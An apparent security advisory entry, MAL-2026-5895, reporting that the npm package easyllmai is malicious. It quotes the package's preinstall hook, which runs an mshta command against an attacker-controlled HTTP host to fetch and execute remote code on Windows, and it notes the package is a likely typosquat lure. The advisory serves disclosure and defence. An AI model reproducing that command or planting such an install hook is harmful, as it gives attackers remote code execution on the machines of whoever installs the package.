MAL-2026-5895

    Dashboard / Malicious Package / MAL-2026-5895

    MAL-2026-5895

    Published: 16 Jun 2026Last Modified: 16 Jun 2026

    Summary: Malicious code in easyllmai (npm)

    Details: Source: amazon-inspector (2f3b4523b083331b34769a2a730586fa622f50560f2f237a893633e7ffb57872) On `npm install`, the package's preinstall lifecycle hook (`"preinstall": "node preinstall.js"`) unconditionally runs `exec('cmd /c "mshta http://fixars.top"')`. On Windows, mshta is a living-off-the-land binary that fetches and executes arbitrary HTML Application / JScript / VBScript content from the supplied URL with the invoking user's privileges. The destination is plain HTTP, attacker-controlled, and the delivered payload is opaque remote code with no signature, hash, or version pinning — giving the publisher full remote code execution on any Windows machine that runs `npm install`. Package metadata is also a throwaway shape (empty `description`, empty `author`, no `repository`, no `keywords`) and the name `easyllmai` is consistent with a typosquat lure against legitimate LLM-client packages.

    References: https://www.npmjs.com/package/easyllmai/v/4.0.1, https://www.npmjs.com/package/easyllmai/v/3.0.1

    Affected packages

    Package

    Name: easyllmai

    Purl: pkg:npm/easyllmai

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    4.0.1
    MAL-2026-5895 | CVE-DB